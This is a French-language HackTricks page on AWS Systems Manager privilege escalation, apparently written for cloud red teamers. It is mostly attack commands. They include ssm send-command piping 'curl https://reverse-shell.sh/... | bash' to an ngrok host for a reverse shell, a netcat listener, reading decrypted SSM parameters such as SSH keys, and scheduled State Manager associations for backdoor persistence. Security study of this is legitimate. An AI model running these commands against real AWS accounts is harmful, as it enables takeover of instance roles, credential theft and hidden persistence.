AWS - SSM Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
SSM
Pour plus dâinformations sur SSM, consultez :
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
ssm:SendCommand
Un attaquant disposant de la permission ssm:SendCommand peut exĂ©cuter des commandes sur des instances exĂ©cutant lâAmazon SSM Agent et compromettre le IAM Role qui sâexĂ©cute Ă lâintĂ©rieur.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
Au cas oĂč vous utiliseriez cette technique pour escalader des privilĂšges Ă lâintĂ©rieur dâune instance EC2 dĂ©jĂ compromise, vous pourriez simplement capturer le rev shell localement avec :
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
Impact potentiel: Privesc direct vers les EC2 IAM roles attachĂ©s aux instances en cours dâexĂ©cution avec des SSM Agents.
ssm:StartSession
Un attaquant disposant de lâautorisation ssm:StartSession peut ouvrir une session de type SSH sur des instances exĂ©cutant lâAmazon SSM Agent et compromettre lâIAM Role sây exĂ©cutant.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
Caution
Pour démarrer une session vous avez besoin du SessionManagerPlugin installé: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
Impact potentiel : Privesc direct aux rĂŽles IAM EC2 attachĂ©s aux instances en cours dâexĂ©cution avec des SSM Agents actifs.
Privesc vers ECS
Lorsque les ECS tasks sâexĂ©cutent avec ExecuteCommand enabled les utilisateurs disposant des permissions suffisantes peuvent utiliser ecs execute-command pour exĂ©cuter une commande Ă lâintĂ©rieur du conteneur.
Selon la documentation cela se fait en crĂ©ant un canal sĂ©curisĂ© entre lâappareil que vous utilisez pour initier la commande âexecâ et le conteneur cible via SSM Session Manager. (SSM Session Manager Plugin nĂ©cessaire pour que cela fonctionne)\
Par consĂ©quent, les utilisateurs avec ssm:StartSession pourront obtenir un shell Ă lâintĂ©rieur des ECS tasks ayant cette option activĂ©e simplement en exĂ©cutant:
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
.png)
Impact potentiel : Privesc direct vers les ECSIAM roles attachĂ©s aux tĂąches en cours dâexĂ©cution avec ExecuteCommand activĂ©.
ssm:ResumeSession
Un attaquant disposant de la permission ssm:ResumeSession peut re-dĂ©marrer une session de type SSH sur des instances exĂ©cutant lâAmazon SSM Agent avec un Ă©tat de session SSM dĂ©connectĂ© et compromettre le IAM Role sâexĂ©cutant Ă lâintĂ©rieur de celle-ci.
# Check for configured instances
aws ssm describe-sessions
# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
Impact potentiel : privesc direct vers les rĂŽles IAM EC2 attachĂ©s aux instances en cours dâexĂ©cution avec des SSM Agents actifs et des sessions dĂ©connectĂ©es.
ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)
Un attaquant disposant des permissions mentionnées pourra lister les SSM parameters et les lire en clair. Dans ces paramÚtres, vous pouvez fréquemment trouver des informations sensibles telles que des SSH keys ou des API keys.
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
Impact potentiel : Trouver des informations sensibles dans les paramĂštres.
ssm:ListCommands
Un attaquant disposant de cette permission peut lister toutes les commandes envoyées et potentiellement y trouver des informations sensibles.
aws ssm list-commands
Potential Impact: Trouver des informations sensibles dans les lignes de commande.
ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)
Un attaquant disposant de ces permissions peut lister toutes les commands envoyées et lire la sortie générée, en espérant y trouver des informations sensibles.
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
Impact potentiel : Trouver des informations sensibles dans la sortie des lignes de commande.
Utilisation de ssm:CreateAssociation
Un attaquant disposant de lâautorisation ssm:CreateAssociation peut crĂ©er une State Manager Association pour exĂ©cuter automatiquement des commandes sur des instances EC2 gĂ©rĂ©es par SSM. Ces associations peuvent ĂȘtre configurĂ©es pour sâexĂ©cuter Ă intervalles fixes, les rendant adaptĂ©es Ă la backdoor-like persistence sans sessions interactives.
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
Note
Cette mĂ©thode de persistance fonctionne tant que lâinstance EC2 est gĂ©rĂ©e par Systems Manager, que lâagent SSM est en cours dâexĂ©cution, et que lâattaquant a lâautorisation de crĂ©er des associations. Elle ne requiert pas de sessions interactives ni la permission explicite ssm:SendCommand. Important : Le paramĂštre
--schedule-expression(par ex.,rate(30 minutes)) doit respecter lâintervalle minimum dâAWS de 30 minutes. Pour une exĂ©cution immĂ©diate ou ponctuelle, omettez complĂštement--schedule-expressionâ lâassociation sâexĂ©cutera une fois aprĂšs sa crĂ©ation.
Codebuild
Vous pouvez aussi utiliser SSM pour accĂ©der Ă un projet Codebuild en cours dâexĂ©cution :
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

